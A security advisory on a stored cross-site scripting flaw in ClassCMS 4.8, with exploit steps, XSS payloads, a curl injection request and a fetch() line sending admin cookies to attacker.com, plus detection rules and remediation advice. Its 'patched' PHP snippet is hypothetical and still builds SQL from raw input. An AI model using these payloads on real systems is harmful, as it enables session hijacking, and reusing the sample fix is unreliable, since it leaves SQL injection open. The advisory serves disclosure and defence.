CVE-2024-8145

Executive Summary

CVE-2024-8145 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in ClassCMS version 4.8. The flaw resides in the /index.php/admin endpoint, specifically within the Article Handler component. An attacker can inject arbitrary JavaScript or HTML into the Title parameter, which is then stored and executed in the context of an administrator's browser when the malicious article is viewed. This can lead to session hijacking, credential theft, or further compromise of the CMS backend. No official patch has been released, and the exploit is publicly available.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a standalone PHP-based CMS (ClassCMS). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim (admin) must visit the crafted article.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No direct data exposure.
• Integrity (I): Low – The attacker can modify content or execute actions in the admin's session.
• Availability (A): None – No denial of service.

Threat Level: Medium. The requirement for user interaction (admin viewing the article) reduces the immediate risk, but the lack of a patch and public exploit makes it a viable target for phishing or social engineering campaigns.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the ClassCMS admin panel. The application fails to sanitize or escape the Title input when creating or editing an article. The flow is as follows:

1. An attacker with access to the article creation form (or via a crafted POST request) submits a title containing malicious JavaScript, e.g., <script>alert('XSS')</script>.
2. The CMS stores this payload in the database without sanitization.
3. When an administrator views the article list or the article itself, the malicious script is rendered in the browser.
4. The script executes in the context of the admin's session, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.

The vulnerable endpoint is /index.php/admin, and the parameter is Title. The attack is trivial to execute and requires no authentication.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the article creation/editing logic. A typical vulnerable PHP snippet might look like:

// Vulnerable code (ClassCMS 4.8)
$title = $_POST['Title'];
$sql = "INSERT INTO articles (title, content) VALUES ('$title', '$content')";
mysqli_query($conn, $sql);

A patched version would sanitize the input:

// Patched code (hypothetical)
$title = htmlspecialchars($_POST['Title'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO articles (title, content) VALUES ('$title', '$content')";
mysqli_query($conn, $sql);

The key difference is the use of htmlspecialchars() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of ClassCMS 4.8.
• Access to the admin panel (or ability to submit a POST request to /index.php/admin).

Exploit Steps:

1. Craft the payload: Use a simple XSS payload to demonstrate the vulnerability.

   <script>alert(document.cookie)</script>
   

2. Submit the malicious article: Send a POST request to the admin panel with the payload in the Title field.

   curl -X POST http://target.com/index.php/admin \
     -d "Title=<script>alert(document.cookie)</script>&Content=Test"
   

3. Trigger the XSS: The admin must view the article list or the article itself. The script executes, displaying the admin's cookies.

Advanced Payload: For session hijacking, use a payload that sends cookies to an attacker-controlled server.

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection & Prevention:

• Input Validation: Implement strict input validation and output encoding for all user-supplied data.
• Content Security Policy (CSP): Deploy a CSP header to block inline scripts.

  Content-Security-Policy: default-src 'self'; script-src 'self'
  

• Web Application Firewall (WAF): Use a WAF to block common XSS patterns.
• Monitor Logs: Look for unusual POST requests to /index.php/admin with script tags in the Title parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php/admin containing <script> tags in the Title parameter.
  • Outbound connections to unknown IPs or domains from the CMS server (exfiltration).
• File IOCs:
  • Modified or new articles in the database with script tags in the title field.
• Log IOCs:
  • Admin panel access logs showing unusual article creation times or IPs.

Detection Engineering

YARA Rule

rule CVE_2024_8145_XSS_ClassCMS {
    meta:
        description = "Detects stored XSS payloads in ClassCMS article titles"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8145"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $title_param = "Title="
    condition:
        $title_param and $xss_payload
}

Sigma Rule

title: CVE-2024-8145 - Stored XSS in ClassCMS Article Title
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to /index.php/admin with XSS payloads in the Title parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/index.php/admin"
        cs-uri-query|contains: "Title="
        cs-uri-query|re: "<script[^>]*>.*?</script>"
    condition: selection
falsepositives:
    - Legitimate use of script tags in article titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8145 - Stored XSS in ClassCMS Article Title"; flow:to_server; content:"POST"; http_method; content:"/index.php/admin"; http_uri; content:"Title="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable article creation for unauthenticated users if not required.
2. Apply a virtual patch using a WAF to block XSS payloads in the Title parameter.
3. Manually sanitize input by editing the PHP files to use htmlspecialchars() on the Title field.

Long-Term Fix:

• Upgrade to a patched version of ClassCMS once available.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct a full security audit of the CMS codebase.

Workaround:

• Restrict access to the admin panel via IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers